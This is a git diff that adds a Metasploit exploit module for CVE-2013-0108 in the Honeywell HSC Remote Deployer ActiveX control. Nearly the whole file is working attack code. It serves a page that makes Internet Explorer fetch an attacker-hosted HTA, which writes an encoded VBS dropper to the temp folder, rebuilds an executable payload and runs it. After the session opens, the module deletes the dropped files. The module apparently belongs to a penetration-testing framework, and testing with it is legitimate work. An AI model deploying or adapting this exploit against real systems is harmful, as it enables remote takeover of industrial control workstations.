diff --git a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb
new file mode 100644
index 0000000000..4b570796c5
--- /dev/null
+++ b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb
@@ -0,0 +1,213 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpServer::HTML
+	include Msf::Exploit::EXE
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => "Honeywell HSC Remote Deployer ActiveX Remote Code Execution",
+			'Description'    => %q{
+					This modules exploits a vulnerability found in the Honewell HSC Remote Deployer
+				ActiveX. This control can be abused by using the LaunchInstaller() function to
+				execute an arbitrary HTA from a remote location. This module has been tested
+				successfully with the HSC Remote Deployer ActiveX installed with HoneyWell EBI
+				R410.1.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'juan vazquez'
+				],
+			'References'     =>
+				[
+					[ 'CVE', '2013-0108' ],
+					[ 'OSVDB', '90583' ],
+					[ 'BID', '58134' ],
+					[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/02/04/cve-2013-0108-honeywell-ebi' ],
+					[ 'URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-053-02.pdf' ]
+				],
+			'Payload'        =>
+				{
+					'Space'    => 2048,
+					'StackAdjustment' => -3500
+				},
+			'DefaultOptions'  =>
+				{
+					'InitialAutoRunScript' => 'migrate -f -k'
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Automatic', {} ]
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => "Feb 22 2013",
+			'DefaultTarget'  => 0))
+	end
+
+	def exploit
+		@var_exename = rand_text_alpha(5 + rand(5)) + ".exe"
+		@dropped_files = [
+			@var_exename
+		]
+		super
+	end
+
+	def on_new_session(session)
+		if session.type == "meterpreter"
+			session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
+		end
+
+		@dropped_files.delete_if do |file|
+			win_file = file.gsub("/", "\\\\")
+			if session.type == "meterpreter"
+				begin
+					wintemp = session.fs.file.expand_path("%TEMP%")
+					win_file = "#{wintemp}\\#{win_file}"
+					session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
+					session.fs.file.rm(win_file)
+					print_good("Deleted #{file}")
+					true
+				rescue ::Rex::Post::Meterpreter::RequestError
+					print_error("Failed to delete #{win_file}")
+					false
+				end
+
+			end
+		end
+	end
+
+	def build_hta(cli)
+		var_shellobj		= rand_text_alpha(rand(5)+5);
+		var_fsobj		= rand_text_alpha(rand(5)+5);
+		var_fsobj_file		= rand_text_alpha(rand(5)+5);
+		var_vbsname		= rand_text_alpha(rand(5)+5);
+		var_writedir		= rand_text_alpha(rand(5)+5);
+
+		var_origLoc		= rand_text_alpha(rand(5)+5);
+		var_byteArray		= rand_text_alpha(rand(5)+5);
+		var_writestream		= rand_text_alpha(rand(5)+5);
+		var_strmConv		= rand_text_alpha(rand(5)+5);
+
+		p = regenerate_payload(cli);
+		exe = generate_payload_exe({ :code => p.encoded })
+
+		# Doing in this way to bypass the ADODB.Stream restrictions on JS,
+		# even when executing it as an "HTA" application
+		# The encoding code has been stolen from ie_unsafe_scripting.rb
+		print_status("Encoding payload into vbs/javascript/hta...");
+
+		# Build the content that will end up in the .vbs file
+		vbs_content	= Rex::Text.to_hex(%Q|
+Dim #{var_origLoc}, s, #{var_byteArray}
+#{var_origLoc} = SetLocale(1033)
+|)
+		# Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
+		# for conversion with ADODB.Stream
+		vbs_ary = []
+		# The output of this loop needs to be as small as possible since it
+		# gets repeated for every byte of the executable, ballooning it by a
+		# factor of about 80k (the current size of the exe template).  In its
+		# current form, it's down to about 4MB on the wire
+		exe.each_byte do |b|
+			vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
+		end
+		vbs_content << vbs_ary.join("")
+
+		# Continue with the rest of the vbs file;
+		# Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
+		# Then use ADODB.Stream again to write the binary to file.
+		#print_status("Finishing vbs...");
+		vbs_content << Rex::Text.to_hex(%Q|
+Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
+										#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}"
+
+Set #{var_strmConv} = CreateObject("ADODB.Stream")
+
+#{var_strmConv}.Type = 2
+#{var_strmConv}.Charset = "x-ansi"
+#{var_strmConv}.Open
+#{var_strmConv}.WriteText s, 0
+#{var_strmConv}.Position = 0
+#{var_strmConv}.Type = 1
+#{var_strmConv}.SaveToFile #{var_writedir}, 2
+
+SetLocale(#{var_origLoc})|)
+
+		hta = <<-EOS
+			<script>
+			var #{var_shellobj} = new ActiveXObject("WScript.Shell");
+			var #{var_fsobj}    = new ActiveXObject("Scripting.FileSystemObject");
+			var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
+			var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);
+
+			#{var_fsobj_file}.Write(unescape("#{vbs_content}"));
+			#{var_fsobj_file}.Close();
+
+			#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
+			#{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{@var_exename}", 0, false);
+			#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
+			window.close();
+			</script>
+		EOS
+
+		return hta
+	end
+
+	def on_request_uri(cli, request)
+		agent = request.headers['User-Agent']
+
+		if agent !~ /MSIE \d/
+			print_error("Browser not supported: #{agent.to_s}")
+			send_not_found(cli)
+			return
+		end
+
+		uri  = ((datastore['SSL']) ? "https://" : "http://")
+		uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'])
+		uri << ":#{datastore['SRVPORT']}"
+
+		print_status("Request received for #{request.uri}");
+
+		if request.uri =~ /\/SystemDisplays\/RemoteInstallWelcome.hta/
+			hta = build_hta(cli)
+			print_status("Sending HTA application")
+			send_response(cli, hta, {'Content-Type'=>'application/hta'})
+			return
+		end
+
+		html = <<-EOS
+		<html>
+		<body>
+		<object id="RemoteInstaller" classid="clsid:0D080D7D-28D2-4F86-BFA1-D582E5CE4867">
+		</object>
+		<script>
+			RemoteInstaller.LaunchInstaller("#{uri}", "", false);
+		</script>
+		</body>
+		</html>
+		EOS
+
+		# we need to handle direct /SystemDisplays/RemoteInstallWelcome.hta requests
+		proc = Proc.new do |cli, req|
+			on_request_uri(cli, req)
+		end
+
+		add_resource({'Path' => "/SystemDisplays/RemoteInstallWelcome.hta", 'Proc' => proc}) rescue nil
+
+		print_status("Sending html")
+		send_response(cli, html, {'Content-Type'=>'text/html'})
+
+	end
+
+end
\ No newline at end of file